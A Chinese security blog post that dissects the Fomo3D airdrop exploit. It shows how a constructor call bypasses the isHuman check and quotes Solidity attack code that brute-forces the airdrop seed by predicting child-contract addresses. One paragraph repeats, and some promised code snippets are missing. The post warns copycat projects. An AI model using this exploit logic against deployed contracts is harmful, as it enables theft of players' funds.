Fomo3D隨機數生成機制攻擊
0x00 概述
Fomo3D是一個非常流行的,並且成為幣圈現象級的資金盤遊戲。據筆者所知,目前國內大部分資金盤遊戲都是從Fomo3D的幾個合約基礎上進行的修改。然而,在7月23號,國外著名社群reddit上有人發現了Fomo3D的一處漏洞[1],攻擊者可以利用一定的手段來繞過Fomo3D的防護,從而可以無限制命中空投來進行牟利。
本文主要分析這個攻擊的具體原理,並提醒廣大山寨Fomo3D的專案方,需要小心編寫程式碼,以免上線即歸零。
0x01 Fomo3D的空投機制
一切還得從Fomo3d的一個函式修改器說起:
這裡使用了extcodesize指令來獲取某個以太坊地址的code字串長度。我們都知道以太坊賬戶分為兩種,一種是普通賬戶,一種是合約賬戶,合約賬戶的codesize必然是大於0的,而普通賬戶的則為0,因此通過這種方式來判斷某個地址是否是合約地址。
這裡使用了extcodesize指令來獲取某個以太坊地址的code字串長度。我們都知道以太坊賬戶分為兩種,一種是普通賬戶,一種是合約賬戶,合約賬戶的codesize必然是大於0的,而普通賬戶的則為0,因此通過這種方式來判斷某個地址是否是合約地址。
因此這個isHuman方法就是Fomo3D用來防止某些人用合約來玩這個遊戲的,但是這個判斷靠不靠譜呢?
自然是不靠譜的,我們看看extcodesize原始碼實現:
func opExtCodeSize(pc *uint64, evm *EVM, contract *Contract, memory *Memory, stack *Stack) ([]byte, error) { a := stack.pop() addr := common.BigToAddress(a) a.SetInt64(int64(evm.StateDB.GetCodeSize(addr))) stack.push(a) return nil, nil }
這裡獲取長度是從狀態資料庫中獲取的,因此只有合約建立好之後這個判斷才有效。
如果是某個合約的建構函式中執行請求Fomo3D,那麼在建構函式執行過程中,合約還處於部署階段,因此extcodesize執行的結果還是為0,從而就可以繞過這個判斷。
我們再來看看執行空投邏輯的airdrop函式:
可以看到,seed的計算嚴重依賴於以太坊區塊的資料,比如timestamp, difficulty, coinbase, gasLimit, number等欄位,這些都是交易中固定的。唯一的變數就是這裡的msg.sender。但是對於合約賬戶來說,我們可以自己寫個合約來動態建立合約,對seed進行列舉,如果發現符合條件的seed,就可以呼叫fomo3d的airdrop來獲取空投,即百分之百的機率可以獲取到空投。
由於普通賬戶不便於進行列舉,主要過程不好自動化,操作成本太大,所以這才有前面的isHuman來對合約賬戶進行攔截。
正常來講,Fomo3d的空投是按照充值ETH的數額來決定的,數額越大,獲取空投的機會就越多,但是通過上面的攻擊,我們可以以很小的數額來擼空投獲利。
0x02 攻擊合約解析
在參考連結[2]中,reddit上給出了具體的攻擊程式碼(該程式碼不能直接成功執行攻擊)。
入口函式是beginPwn,這裡首先呼叫了checkPwnData來獲取出猜解命中空投條件的攻擊成本、合約地址以及猜解次數。然後如果攻擊成本大於收益,那麼就執行deployContracts執行具體的攻擊。
function beginPwn() public onlyAdmin() {
uint256 _pwnCost;
uint256 _nContracts;
address _newSender;
(_pwnCost, _nContracts,_newSender) = checkPwnData();
//check that the cost of executing the attack will make it worth it
if(_pwnCost + 0.1 ether < maxAmount) {
deployContracts(_nContracts,_newSender);
}
}
我們看一下checkPwnData的邏輯:
function checkPwnData() private returns(uint256,uint256,address) {
//The address that a contract deployed by this contract will have
address _newSender = address(keccak256(abi.encodePacked(0xd6, 0x94, address(this), 0x01)));
uint256 _nContracts = 0;
uint256 _pwnCost = 0;
uint256 _seed = 0;
uint256 _tracker = fomo3d.airDropTracker_();
bool _canWin = false;
while(!_canWin) {
/*
* How the seed if calculated in fomo3d.
* We input a new address each time until we get to a winning seed.
*/
_seed = uint256(keccak256(abi.encodePacked(
(block.timestamp) +
(block.difficulty) +
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)) +
(block.gaslimit) +
((uint256(keccak256(abi.encodePacked(_newSender)))) / (now)) +
(block.number)
)));
//Tally number of contract deployments that'll result in a win.
//We tally the cost of deploying blank contracts.
if((_seed - ((_seed / 1000) * 1000)) >= _tracker) {
_newSender = address(keccak256(abi.encodePacked(0xd6, 0x94, _newSender, 0x01)));
_nContracts++;
_pwnCost+= blankContractCost;
} else {
_canWin = true;
//Add the cost of deploying a contract that will result in the winning of an airdrop
_pwnCost += pwnContractCost;
}
}
return (_pwnCost,_nContracts,_newSender);
}
這裡需要了解合約中建立子合約時,子合約的地址生成機制,這些子合約的地址都是根據母合約的地址衍生出來的,公式如下
new_address = address(keccak256(0xd6, 0x94, address, nonce))
new_address2 = address(keccak256(0xd6, 0x94, address, nonce++))
這裡的nonce第一次為0x01,之後每次建立一次子合約就會遞增。
當枚舉出符合條件的seed之後,就返回列舉的次數以及命中的地址和攻擊的花銷,因為部署合約和跨合約呼叫是需要消耗gas的,因此要看攻擊本身是否是划算的。
最後呼叫deployContracts執行攻擊:
function deployContracts(uint256 _nContracts,address _newSender) private {
for(uint256 _i; _i < _nContracts; _i++) {
if(_i++ == _nContracts) {
address(_newSender).call.value(0.1 ether)();
new AirDropWinner();
}
new BlankContract();
}
}
這裡的new BlankContract()是用來使得nonce遞增的,然後滿足了遞增次數之後就建立AirDropWinner執行攻擊:
contract AirDropWinner {
FoMo3DlongInterface private fomo3d = FoMo3DlongInterface(0xA62142888ABa8370742bE823c1782D17A0389Da1);
constructor() public {
if(!address(fomo3d).call.value(0.1 ether)()) {
fomo3d.withdraw();
selfdestruct(msg.sender);
}
}
}
可以看到這裡在建構函式中對fomo3D發起了轉賬操作,從而繞過了isHuman判斷,完成了攻擊。
具體的攻擊交易:
需要注意的是,當空投池大於一定數值的時候才有利可圖。這是因為發起一次交易本身需要gas也很昂貴,如果玩遊戲的人越多,那麼就越有利可圖。
Reference
[1] https://www.reddit.com/r/ethereum/comments/916xni/how_to_pwn_fomo3d_a_beginners_guide
[2] https://www.reddit.com/r/ethdev/comments/91fpqd/fomo_3d_exploit_improved_clearly_explained
原文:https://blog.csdn.net/u011721501/article/details/82684747